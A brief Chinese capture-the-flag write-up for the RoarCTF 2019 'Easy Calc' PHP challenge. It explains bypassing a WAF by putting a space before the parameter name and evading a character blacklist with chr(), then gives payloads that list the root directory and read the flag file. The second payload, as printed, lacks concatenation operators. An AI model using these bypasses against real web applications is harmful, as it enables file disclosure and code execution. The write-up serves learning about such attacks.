0x00
题目类型:php,RCE。
知识点:php对变量空格的解析。
0x01
查看源码,提醒有WAF保护,不过我们不知道规则。发现calc.php,对传入的num参数做了如下限制。
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
0x02
首先我们需要绕过WAF,注意WAF和黑名单不是一个东西。传入一个名为" num"的参数,WAF会认为他是" num"而不是"num",但在解析变量时,空格会被去除,参数会被认为是"num",这样就可以构造非法命令了。
黑名单里过滤了引号和分号,无法直接调用函数,可以用chr()函数将ascii编码转换为字符,这样就可以绕过黑名单的检测命令执行。
【RoarCTF 2019 Easy Calc】0x03
payload:
var_dump(scandir(chr(47)))
var_dump(file_get_contents(chr(47)chr(102)chr(49)chr(97)chr(103)chr(103)))